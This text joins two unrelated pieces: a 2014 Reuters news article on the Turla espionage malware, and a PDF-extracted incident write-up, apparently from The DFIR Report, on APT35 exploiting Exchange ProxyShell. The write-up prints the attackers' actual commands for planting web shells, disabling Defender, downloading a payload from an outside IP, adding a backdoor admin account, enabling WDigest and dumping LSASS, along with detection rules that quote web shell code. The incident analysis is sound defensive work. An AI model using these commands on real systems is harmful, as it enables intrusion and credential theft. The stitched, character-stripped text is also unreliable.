It is sophisticated malware thats linked to other Russian exploits, uses encryption and targets western governments.
It has Russian paw prints all over it, said Jim Lewis, a former U.S. foreign service officer, now senior fellow at the Center for Strategic and International Studies in Washington.
However, security experts caution that while the case for saying Turla looks Russian may be strong, it is impossible to confirm those suspicions unless Moscow claims responsibility.
Developers often use techniques to cloud their identity.
The threat surfaced this week after a little known German anti-virus firm, G Data, published a report on the virus, which it called Uroburos, the name text in the code that may be a reference to the Greek symbol of a serpent eating its own tail.
Experts in state-sponsored cyber attacks say that Russian government-backed hackers are known for being highly disciplined, adept at hiding their tracks, extremely effective at maintaining control of infected networks and more selective in choosing targets than their Chinese counterparts.
They know that most people dont have either the technical knowledge or the fortitude to win a battle with them.
When they recognize that someone is onto them, they just go dormant, said one expert who helps victims of state-sponsored hacking.
A former Western intelligence official commented: They can draw on some very high grade programmers and engineers, including the many who work for organized criminal groups, but also function as privateers.
Russias Federal Security Bureau declined comment as did Pentagon and U.S. Department of Homeland Security officials.
On Friday, Britains BAE Systems Applied Intelligence - the cyber arm of Britains premier defense contractor - published its own research on the spyware, which it called snake.
The sheer sophistication of the software, it said, went well beyond that previously encountered - although it did not attribute blame for the attack.
The threat... really does raise the bar in terms of what potential targets, and the security community in general, have to do to keep ahead of cyber attacks, said Martin Sutherland, managing director of BAE Systems Applied Intelligence.
NATO NATIONS TARGETED Security firms have been monitoring Turla for several years.
Symantec Corp estimates up to 1,000 networks have been infected by Turla and a related virus, Agent.
BTZ.
It named no victims, saying only that most were government computers.
BAE said it has collected over 100 unique samples of Turla since 2010, including 32 from Ukraine, 11 from Lithuania and 4 from Great Britain.
It obtained smaller numbers from other countries.
Hackers use Turla to establish a hidden foothold in infected networks from which they can search other computers, store stolen information, then transmit data back to their servers.
While it seems to be Russian, there is no way to know for sure, said Mikko Hypponen, chief research officer with Helsinki- based F-Secure, which encountered Turla last year.
Security firms that are monitoring the threat have said the operations sophistication suggests it was likely backed by a nation state and that technical indicators make them believe it is the work of Russian developers.
European governments have long welcomed U.S. help against Kremlin spying, but were infuriated last year to discover the scale of surveillance by Americas National Security Agency that stretched also to their own territory.
AGENT.BTZ, RED OCTOBER Security experts say stealthy Turla belongs to the same family as one of the most notorious pieces of spyware uncovered to date: Agent.
BTZ.
It was used in a massive cyber espionage operation on U.S. Central Command that surfaced in 2008 and is one of the most serious U.S. breaches to date.
While Washington never formally attributed blame, several U.S. officials have told Reuters they believed it was the work of Russia.
Hypponen said Agent.
BTZ was initially found in a military network of a European NATO state in 2008, but gave no details.
F- Secure is credited with naming that piece of malware in 2008, though researchers believe it was created already in 2006.
Kaspersky Lab researcher Kurt Baumgartner said he believes Turla and Agent.
BTZ are related to Red October, which suddenly shut down after his firm reported on it in January 2013.
Unusually unique artifacts link Red October, Agent.
BTZ and Turla, he said, referring to strings of text contained in the code and functionality of the malware.
Eric Chien, technical director with Symantec Security Response, described Turla as the evolution of Agent.
BTZ.
They are a very active development group, Chien said.
Finland said its Foreign Ministry computer systems had been penetrated by an attack last year but would not elaborate.
Swedens National Defence Radio Establishment said cyber espionage was more common than people think, adding that it had discovered multiple attacks against authorities, governments and universities, some only detected after several years.
Government sources in the Czech Republic, Estonia, Poland and Romania said Turla had not affected them directly.
Other European governments contacted by Reuters declined comment.
CHASING TURLA Although computer security researchers have been quietly studying Turla for more than two years, public discussions of the threat only began after G Data published its report.
G Data spokesman Eddy Willems declined to name any victims or identify the author of the report, saying the firm was concerned the group behind Turla might attempt to harm him.
Jaime Blasco, director of AlienVault Labs, said that Turla was more of a framework for espionage than simply malware.
The malware is a root kit that hides the presence of the spying operation and also creates a hidden, encrypted file system to store stolen data and tools used by the attackers, he said.
Those tools include password stealers, tiny programs for gathering information about the system and document stealers.
The operators can download specialized tools onto an infected system, adding any functionality they want by including it in the encrypted file system, Blasco said.
They have used dozens of different command and control servers located in countries around the world to control infected systems, according to Symantec, whose researchers have helped identify and shut down some of those systems.
Researchers say Turlas code is regularly updated, including changes to avoid detection as anti-virus companies detect new strains.
BAE said it had two samples created in January 2014.
Chien said that in some cases when a command and control server was taken offline, Turlas operators have quickly pushed out new versions of the malware that directed infected computers to new command and control servers.
They have a super active development team, he said.
(
Additional reporting by Jan Strouhal in Prague, Marcin Goeetig in Warsaw, Guy Faulconbridge in London, Zoran Radosavljevic in Zagreb, Gwladys Fouche in Oslo, Matthias Williams in Bucharest, Gabriela Baczynska in Moscow, Alexandra Hudson in Berlin, Johan Sennero in Stockholm, Phil Stewart in Washington Editing by Richard Valdmanis and Ralph Boulton) Thomson Reuters 2014.
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1/22 March 21, 2022 APT35 Automates Initial Access Using ProxyShell thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell In December 2021, we observed an adversary exploiting the Microsoft Exchange ProxyShell vulnerabilities to gain initial access and execute code via multiple web shells.
The overlap of activities and tasks was remarkably similar to that observed in our previous report, Exchange Exploit Leads to Domain Wide Ransomware.
In this intrusion, we observed the initial exploitation of the ProxyShell vulnerabilities followed by some further post-exploitation activity, which included web shells, credential dumping, and specialized payloads.
We assess that this activity was related to APT35 (TA453, COBALT ILLUSION, Charming Kitten, ITG18, Phosphorus, Newscaster) due to the TTPs mirroring previously reported activity that was attributed to the group.
Case Summary The threat actors activity occurred in two bursts within a 3 day time frame.
As with our previous case, they started by uploading their web shell and disabling antivirus services.
Soon after, they established two persistence methods.
The first was through scheduled tasks, and the second, was via a newly created account.
The account was then added to the remote desktop users and local administrators users groups.
Like in the prior case involving ProxyShell, we observed a file masquerading as dllhost.exe that exhibited similarities to a proxy tool call Fast Reverse Proxy (with modifications) downloaded from the same IP as observed in the prior case and connecting to suspect domains.
After establishing alternative ways of re-entering the targeted host, they enumerated the environment using Windows native programs such as net and ipconfig.
At the end of their first visit, they disabled LSA protection, enabled WDigest for access to plain text credentials later, dumped the LSASS process memory, and downloaded the results via the web shell.
All of this activity occurred over a time frame of around 2 minutes, leading us to assess that the entire attack was likely scripted out.
The user agent strings of python-requests/2.26.0 and python-urllib3/1.26.7 also point to the use of scripts.
Two days later, we saw the threat actors reappear.
We expected them to pick up where they left off, however, they repeated all previous actions.
Due to the similarity between the commands and the sequential order they ran, this is additional evidence the threat actors employed automated scripts to execute these activities.
No further activity was observed as the threat actors were evicted from the network.
https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/ https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/ https://attack.mitre.org/groups/G0059/ https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/ https://github.com/fatedier/frp 2/22 Services We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BazarLoader, Covenant, Metasploit, Empire, PoshC2, etc.
More information on this service and others can be found here.
We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services.
Timeline https://thedfirreport.com/services/ https://thedfirreport.com/services/ https://www.patreon.com/thedfirreport 3/22 Analysis and reporting completed by samaritan_o, kostastsale, svch0st and RoxpinTeddy.
https://twitter.com/samaritan_o https://twitter.com/Kostastsale https://twitter.com/svch0st https://twitter.com/RoxpinTeddy 4/22 Initial Access As  similarly seen in our previous report Exchange Exploit Leads to Domain Wide Ransomware, this threat actor utilized the Microsoft Exchange ProxyShell vulnerabilities an exploit chain of 3 different CVEs: CVE-2021-34473 CVE-2021-34523 CVE-2021-31207 With the appropriate PowerShell logging available we were able to recover the PowerShell commandlets executed on the Exchange server, which resulted in the creation of web shells on the host.
Once the threat actor had gained a valid privileged session using CVE-2021-34473 and CVE- 2021-34523, they then ensured the default Administrator account had the correct role for mailbox importing and exporting: New-ManagementRoleAssignment -Role Mailbox Import Export -User administratorREDACTED The threat actor initiated a mailbox export that matched the search criteria of Subject -eq aspx_wkggiyvttmu  to a provided location with the .aspx extension.
While the file created is a legitimate .pst file, in it contains plaintext web shell code that is rendered by IIS when requested.
New-MailboxExportRequest -Mailbox administratorREDACTED -FilePath \\localhost\C\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\aspx_wkggiyvttmu.aspx -IncludeFolders (Drafts) -ContentFilter Subject -eq aspx_wkggiyvttmu In an attempt to hide the actions taken, the actor removes the request just created: Remove-MailboxExportRequest -Confirm False -Force True -Identity 77a883a7-470c- 471c-a193-f4c54f263fde This activity then repeated approximately 2 days after the initial exploitation.
As the actor had already achieved remote execution by this point, there is a high likelihood the exploitation of Exchange servers is automated.
Below is the second web shell created that shares the same naming convention as the first.
New-MailboxExportRequest -Mailbox administratorREDACTED -FilePath \\localhost\c\inetpub\wwwroot\aspnet_client\system_web\aspx_dyukbdcxjfi.aspx - IncludeFolders (Drafts) -ContentFilter Subject -eq aspx_dyukbdcxjfi https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/ https://www.mandiant.com/resources/greater-visibilityt 5/22 Execution Approximately 20 seconds after the web shell aspx_wkggiyvttmu.aspx  was created, a flurry of POST requests were sent to the web shell.
The web shell followed a similar structure seen in previous cases.
At least two parameters are sent in the POST request to the web shell, delimiter  which defines what string is used to separate the response, and exec_code  which is the command to be ran.
The web shell had predefined functions for special actions: get   Get file from location on disk (additional dst  POST parameter) put   Upload file to location (additional dst  POST parameter) run   Execute a list of commands separated by  using PowerShell.
6/22 If exec_code  does not start with one of the above commands, it will simply attempt to run it with PowerShell.
The environment for this investigation had SSL inspection and PCAPs available for analysis which allowed us to see the commands being sent to the web shell itself.
Below you can see an example of commands that were sent and the outputs they returned in the response.
The actor first uploaded a file Wininet.xml , which is later used to create a scheduled task, to C:\windows\temp  using the put  command of the web shell.
This was followed shortly by several commands to impair Windows Defender before downloading and executing a fake dllhost.exe  from 148.251.71[.
]182.
Scheduled Task Commands: https://thedfirreport.com/wp-content/uploads/2022/03/9893-02.png https://thedfirreport.com/wp-content/uploads/2022/03/9893-03.png https://thedfirreport.com/wp-content/uploads/2022/03/9893-04.png 7/22 schtasks.exe /Create /F /XML C:\windows\temp\Wininet.xml /tn \Microsoft\Windows\Maintenance\Wininet schtasks.exe /Run /tn \Microsoft\Windows\Maintenance\Wininet Defender Modification Command: try Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob Set-MpPreference - SevereThreatDefaultAction Allow -AsJob Set-MpPreference -DisableRealtimeMonitoring 1 -AsJob Add-MpPreference -ExclusionPath C:\Windows -Force -AsJob catch Start-Process powershell.exe filec:\windows\dllhost.exe Invoke-WebRequest -Uri hXXp://148.251.71[.]182/update[.
]tmp -OutFile file The schedule task runs a batch script called Wininet.bat  which was also uploaded through the web shell.
Wininet.bat  simply loops through the execution of the file dllhost.exe .
The file dllhost.exe  is a golang binary.
When executed, the binary was observed resolving the following domains: api.myip[.
]com (for discovery) tcp443.msupdate[.
]us kcp53.msupdate[.
]us The binary also spawns the following commands when executed: cmd /c wmic computersystem get domain powershell /c Add-PSSnapin Microsoft.
Exchange.
Management.
PowerShell.
SnapIn Get-Recipient  Select Name -ExpandProperty EmailAddresses -first 1  Select SmtpAddress  ft -hidetableheaders The binary has a low confidence reference to FRP (FastReverseProxy) as the sample matches the closed source Yara rule  HKTL_PUA_FRP_FastReverseProxy_Oct21_1 (by Florian Roth) however it does not behave in the same way as the open source tool.
This file also matches on an additional Yara rule more recently APT_MAL_Go_FRP_CharmingKitten_Jan22_1 pointing to the file including some code from FRP but otherwise having been modified for use by this threat actor.
https://thedfirreport.com/wp-content/uploads/2022/03/9893-05.png https://www.virustotal.com/gui/file/1604e69d17c0f26182a3e3ff65694a49450aafd56a7e8b21697a932409dfd81e/community https://github.com/fatedier/frp https://valhalla.nextron-systems.com/info/rule/HKTL_PUA_FRP_FastReverseProxy_Oct21_1 https://valhalla.nextron-systems.com/info/rule/APT_MAL_Go_FRP_CharmingKitten_Jan22_1 8/22 Persistence The threat actor utilized both account creation and scheduled tasks to gain persistence in the environment.
New account creation During the first activity, we observed the use of user.exe  executable that ran the following PowerShell command: powershell.exe /c net user /add DefaultAccount Pssw0rd123412 net user DefaultAccount /active:yes net user DefaultAccount Pssw0rd12341234 net localgroup Administrators /add DefaultAccount net localgroup Remote Desktop Users /add DefaultAccount The first thing they did was make a new user named DefaultAccount  with the password Pssw0rd123412 .
They then activated the account and changed the password ( Pssw0rd12341234 ) for the second time.
Finally the commands added the new account to the Administrators group and Remote Desktop Users group.
The threat actors ran the same command again two days later: powershell.exe /c net user /add DefaultAccount Pssw0rd123412 net user DefaultAccount /active:yes net user DefaultAccount Pssw0rd12341234 net localgroup Administrators /add DefaultAccount net localgroup Remote Desktop Users /add DefaultAccount Due to the close proximity between executed commands, we assess that the threat actors used tools to automate the execution and discovery phases of this attack.
Scheduled task As previously noted, we discovered the creation of a Scheduled task from a .xml template that was copied to the server via the web shell.
9/22 Below, we can observe the content of wininet.xml: https://thedfirreport.com/wp-content/uploads/2022/03/9893-06.png 10/22 The following commands where then ran to initiate the task and to achieve persistence: schtasks.exe /Create /F /XML wintmp\Wininet.xml /tn \Microsoft\Windows\Maintenance\Wininet schtasks.exe /Run /tn \Microsoft\Windows\Maintenance\Wininet https://thedfirreport.com/wp-content/uploads/2022/03/9893-06.5.png 11/22 Privilege Escalation The scheduled task created by the web shell was set to use the principal SID S-1-5-18, or SYSTEM.
UserIdS-1-5-18/UserId Defense Evasion Using PowerShell the threat actors issued several commands to impair Windows Defender including: Windows Defender Behavior Monitoring was disabled.
The Severe Threat default action was set to Allow.
Realtime Monitoring was disabled.
The C:\Windows path was excluded from scheduled and real-time scanning.
try Set-MpPreference -DisableBehaviorMonitoring 1 -AsJob Set-MpPreference - SevereThreatDefaultAction Allow -AsJob Set-MpPreference -DisableRealtimeMonitoring 1 -AsJob Add-MpPreference -ExclusionPath C:\Windows -Force -AsJob catch A rule was added to the Windows Firewall to allow remote RDP traffic.
netsh advfirewall firewall add rule nameTerminal Server dirin actionallow protocolTCP localport3389 Remote Desktop Services was started.
net start TermService The threat actor enabled WDigest authentication.
This enforces the storage of credentials in plaintext on future logins.
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f LSA protection was disabled.
reg add HKLM\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL /t REG_DWORD /d 0 /f Credential Access The threat actor created a process memory dump from LSASS.exe.
In this case they created a minidump using the LOLBIN comsvcs.dll.
This was dropped to disk as ssasl.pmd (lsass.dmp reversed) and then zipped before exfiltration.
powershell.exe /c Remove-Item -Path C:\windows\temp\ssasl.pmd -Force -ErrorAction Ignore rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\windows\temp\ssasl.pmd full  out-host Compress-Archive C:\windows\temp\ssasl.pmd  C:\windows\temp\ssasl.zip https://lolbas-project.github.io/lolbas/Libraries/comsvcs/ 12/22 Discovery The threat actors used native Windows binaries to enumerate the exploited server in an automated fashion.
They executed commands such as: net.exe user ipconfig.exe /all powershell.exe (multiple commands) quser.exe These discovery tasks like the rest of the activity observed from this threat actor was executed via the web shell.
They used the PowerShell module Get-WmiObject to collect the name and IP address of the domain controller.
Get-WMIObject Win32_NTDomain  findstr DomainController Additionally, we saw threat actors retrieving an email address from the compromised exchange server using the below command.
This was likely done as a test.
Add-PSSnapin Microsoft.
Exchange.
Management.
PowerShell.
SnapIn Get-Recipient  Select Name -ExpandProperty EmailAddresses -first 1  Select SmtpAddress  ft - hidetableheaders Collection While having access to the Exchange server, we observed no attempts to export or access user mailboxes.
https://thedfirreport.com/wp-content/uploads/2022/03/9893-07.png 13/22 Command and Control As we saw from the execution section, dllhost.exe  was used to access the below domains for C2, which we believe was using a variation of FRP.
tcp443.msupdate[.
]us (107.173.231[.
]114) kcp53.msupdate[.
]us (107.173.231[.
]114) This C2 channel was not used very much as most activity was done through the web shell.
Exfiltration The only successful data that was exfiltrated from the environment was the archive containing the LSASS dump.
Here you can see the threat actor using the web shell command to extract it: Impact In this case, there was no further impact to the environment before the threat actors were evicted.
Due to our previous report and OSINT research we believe with medium to high confidence that this intrusion would have ended in ransomware.
https://thedfirreport.com/wp-content/uploads/2022/03/9893-09.png 14/22 Indicators All artifacts including web shells, files, IPs, etc.
were added to our services in December.
Network ipv4:148.251.71[.
]182 ipv4:107.173.231[.
]114 domain: tcp443.msupdate[.
]us domain: kcp53.msupdate[.
]us useragent:python-urllib3/1.26.7 useragent:python-requests/2.26.0 File aspx_dyukbdcxjfi.aspx 1a5ad24a6880eea807078375d6461f58 da2470c3990ea0862a79149c6036388498da83cd 84f77fc4281ebf94ab4897a48aa5dd7092cc0b7c78235965637eeef0908fb6c7 dhvqx.aspx b2fde6dc7bd1e04ce601f57805de415b 4d243969b54b9b80c1d26e0801a6e7e46d2ef03e c5aae30675cc1fd83fd25330cec245af744b878a8f86626d98b8e7fcd3e970f8 dllhost.exe 9a3703f9c532ae2ec3025840fa449d4e 8ece87086e8b5aba0d1cc4ec3804bf74e0b45bee 1604e69d17c0f26182a3e3ff65694a49450aafd56a7e8b21697a932409dfd81e wininet.bat 5f098b55f94f5a448ca28904a57c0e58 27102b416ef5df186bd8b35190c2a4cc4e2fbf37 668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0 wininet.xml d2f4647a3749d30a35d5a8faff41765e 0f676bc786db3c44cac4d2d22070fb514b4cb64c 559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e user.exe f0be699c8aafc41b25a8fc0974cc4582 6bae2d45bbd8c4b0a59ba08892692fe86e596154 7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b task_update.exe cacb64bdf648444e66c82f5ce61caf4b 3a6431169073d61748829c31a9da29123dd61da8 12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075f Detections https://thedfirreport.com/services/ 15/22 Network ET INFO User-Agent (python-requests) Inbound to Webserver ET INFO Generic HTTP EXE Upload Inbound ET INFO Generic HTTP EXE Upload Outbound GPL ATTACK_RESPONSE command completed ET ATTACK_RESPONSE Net User Command Response ET WEB_SERVER WebShell Generic - netsh firewall Sigma Local Accounts Discovery https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_local_system_owner_account_discovery.yml Lsass Memory Dump via Comsvcs DLL https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/ rules/windows/process_access/sysmon_lsass_dump_comsvcs_dll.yml Net.exe Execution https://github.com/SigmaHQ/sigma/blob/777d218adc789b7f1b146701793e78799324d87d/ rules/windows/process_creation/win_susp_net_execution.yml Net-exe User Account Creation https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_net_user_add.yml Netsh Port or Application Allowed https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_netsh_fw_add.yml Netsh RDP Port Opening https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_netsh_allow_port_rdp.yml Non Interactive PowerShell https://github.com/SigmaHQ/sigma/blob/1425ede905514b7dbf3c457561aaf2ff27274724/ru les/windows/process_creation/win_non_interactive_powershell.yml Powershell Defender Exclusion https://github.com/SigmaHQ/sigma/blob/682e0458a336c3a6e93b18f7e972e1d67ef01598/r ules/windows/process_creation/win_powershell_defender_exclusion.yml PowerShell Get-Process LSASS https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/ru les/windows/process_creation/win_susp_powershell_getprocess_lsass.yml https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_local_system_owner_account_discovery.yml https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/rules/windows/process_access/sysmon_lsass_dump_comsvcs_dll.yml https://github.com/SigmaHQ/sigma/blob/777d218adc789b7f1b146701793e78799324d87d/rules/windows/process_creation/win_susp_net_execution.yml https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_net_user_add.yml https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_netsh_fw_add.yml https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_netsh_allow_port_rdp.yml https://github.com/SigmaHQ/sigma/blob/1425ede905514b7dbf3c457561aaf2ff27274724/rules/windows/process_creation/win_non_interactive_powershell.yml https://github.com/SigmaHQ/sigma/blob/682e0458a336c3a6e93b18f7e972e1d67ef01598/rules/windows/process_creation/win_powershell_defender_exclusion.yml https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/rules/windows/process_creation/win_susp_powershell_getprocess_lsass.yml 16/22 Process Dump via Comsvcs DLL https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_susp_comsvcs_procdump.yml Quick Execution of a Series of Suspicious Commands https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/ rules/windows/process_creation/win_multiple_suspicious_cli.yml Rare Scheduled Task Creations https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/ru les/windows/other/taskscheduler/win_rare_schtask_creation.yml Service Execution https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_service_execution.yml Shells Spawned by Web Servers https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_webshell_spawn.yml Suspicious PowerShell Parent Process https://github.com/SigmaHQ/sigma/blob/6f5271275e9ac22be9ded8b9252bce064e524153/ rules/windows/process_creation/win_susp_powershell_parent_process.yml Suspicious Script Execution From Temp Folder https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/ rules/windows/process_creation/win_susp_script_exec_from_temp.yml Wdigest Enable UseLogonCredential https://github.com/SigmaHQ/sigma/blob/503df469687fe4d14d2119a95723485d079ec0d9/ rules/windows/registry_event/sysmon_wdigest_enable_uselogoncredential.yml Webshell Detection With Command Line Keywords https://github.com/SigmaHQ/sigma/blob/1cfca93354d25e458db40f8d48403602b46bbf03 /rules/windows/process_creation/win_webshell_detection.yml Windows Defender Real-Time Protection Disabled https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/r ules/windows/registry_event/registry_event_defender_realtime_protection_disabled.yml Windows Defender Threat Detection Disabled https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/r ules/windows/registry_event/registry_event_defender_disabled.yml https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_susp_comsvcs_procdump.yml https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/rules/windows/process_creation/win_multiple_suspicious_cli.yml https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/rules/windows/other/taskscheduler/win_rare_schtask_creation.yml https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_service_execution.yml https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_webshell_spawn.yml https://github.com/SigmaHQ/sigma/blob/6f5271275e9ac22be9ded8b9252bce064e524153/rules/windows/process_creation/win_susp_powershell_parent_process.yml https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/rules/windows/process_creation/win_susp_script_exec_from_temp.yml https://github.com/SigmaHQ/sigma/blob/503df469687fe4d14d2119a95723485d079ec0d9/rules/windows/registry_event/sysmon_wdigest_enable_uselogoncredential.yml https://github.com/SigmaHQ/sigma/blob/1cfca93354d25e458db40f8d48403602b46bbf03/rules/windows/process_creation/win_webshell_detection.yml https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/rules/windows/registry_event/registry_event_defender_realtime_protection_disabled.yml https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/rules/windows/registry_event/registry_event_defender_disabled.yml 17/22 Windows Shell Spawning Suspicious Program https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_shell_spawn_susp_program.yml Windows Suspicious Use Of Web Request in CommandLine https://github.com/SigmaHQ/sigma/blob/98d7380a40d503ffd225420f7318b79d9f5097b8 /rules/windows/process_creation/process_creation_susp_web_request_cmd.yml Windows Webshell Creation https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/file_event/sysmon_webshell_creation_detect.yml Yara https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/process_creation/win_shell_spawn_susp_program.yml https://github.com/SigmaHQ/sigma/blob/98d7380a40d503ffd225420f7318b79d9f5097b8/rules/windows/process_creation/process_creation_susp_web_request_cmd.yml https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/rules/windows/file_event/sysmon_webshell_creation_detect.yml 18/22 rule files_dhvqx meta: description  9893_files - file dhvqx.aspx author  TheDFIRReport reference  https://thedfirreport.com/2022/03/21/apt35-automates-initial- access-using-proxyshell/ date  2022-03-21 hash1  c5aae30675cc1fd83fd25330cec245af744b878a8f86626d98b8e7fcd3e970f8 strings: s1  eval(Request[exec_code],unsafe)Response.
End fullword ascii s2  6script languageJScript runatserver fullword ascii s3  AEALAAAAAAAAAAA fullword ascii s4  AFAVAJA fullword ascii s5  AAAAAAV fullword ascii s6  LAAAAAAA fullword ascii s7  ANAZAQA fullword ascii s8  ALAAAAA fullword ascii s9  AAAAAEA ascii s10  ALAHAUA fullword ascii condition: uint16(0)  0x4221 and filesize  800KB and (s1 and s2)  and 4 of them  rule aspx_dyukbdcxjfi meta: description  9893_files - file aspx_dyukbdcxjfi.aspx author  TheDFIRReport reference  https://thedfirreport.com/2022/03/21/apt35-automates-initial- access-using-proxyshell/ date  2022-03-21 hash1  84f77fc4281ebf94ab4897a48aa5dd7092cc0b7c78235965637eeef0908fb6c7 strings: s1  string[] commands  exec_code.
Substring(\run \.Length).Split(new[] , StringSplitOptions.
RemoveEmpty ascii s2  string[] commands  exec_code.
Substring(\run \.Length).Split(new[] , StringSplitOptions.
RemoveEmpty ascii s3  var dstFile  Path.
Combine(dstDir, Path.
GetFileName(httpPostedFile.
FileName)) fullword ascii s4  info.
UseShellExecute  false fullword ascii s5  using (StreamReader streamReader  process.
StandardError) fullword ascii s6  return httpPostedFile.
FileName  \ Uploaded to: \  dstFile fullword ascii s7  else if (exec_code.
StartsWith(\download \)) fullword ascii s8  string[] parts  exec_code.
Substring(\download \.Length).Split( ) fullword ascii s9  Response.
AppendHeader(\Content-Disposition\, \attachment filename\ fileName) fullword ascii s10  result  result  Environment.
NewLine  \ERROR:\ Environment.
NewLine  error fullword ascii s11  else if (exec_code  \get\) fullword ascii s12  int fileLength  httpPostedFile.
ContentLength fullword ascii condition: 19/22 uint16(0)  0x4221 and filesize  800KB and 8 of them  rule files_user meta: description  9893_files - file user.exe author  TheDFIRReport reference  https://thedfirreport.com/2022/03/21/apt35-automates-initial- access-using-proxyshell/ date  2022-03-21 hash1  7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b strings: x1  PA?xml version\1.0\ encoding\UTF-8\ standalone\yes\?
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Windows.
Common-Controls\ version\6.0.
ascii s5  s:v3\urn:schemas-microsoft-com:asm.v3\ v3:security v3:requestedPrivileges -- level can be \asInvoker\, \highestAvai ascii s6  PB_GadgetStack_I64i fullword ascii s7  PB_DropAccept fullword ascii s8  rocessorArchitecture\\ publicKeyToken\6595b64144ccf1df\ language\\ / /dependentAssembly /dependency v3:trustInf ascii s9  PB_PostEventMessage fullword ascii s10  PB_WindowID fullword ascii s11  ?
GetLongPathNameA fullword ascii s12  Memory page error fullword ascii s13  PPPPPPH fullword ascii s14  YZAXAYH fullword ascii s15  d:I64d:I64d:I64d fullword ascii s16 NGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD ascii s17  PYZAXAYH fullword ascii s18  PB_MDI_Gadget fullword ascii s19  PA?xml version\1.0\ encoding\UTF-8\ standalone\yes\?
assembly xmlns\urn:schemas-microsoft-com:asm.v1\ manifestVer ascii s20   46B722FD25E69870FA7711924BC5304D 787242D55F2C49A23F5D97710D972108 A2DB26CE3BBE7B2CB12F9BEFB37891A3 fullword wide condition: uint16(0)  0x5a4d and filesize  300KB and 1 of (x) and 4 of them  rule task_update meta: description  9893_files - file task_update.exe author  TheDFIRReport reference  https://thedfirreport.com/2022/03/21/apt35-automates-initial- access-using-proxyshell/ 20/22 date  2022-03-21 hash1  12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a strings: x1  ?
xml version\1.0\ encoding\UTF-8\ standalone\yes\?
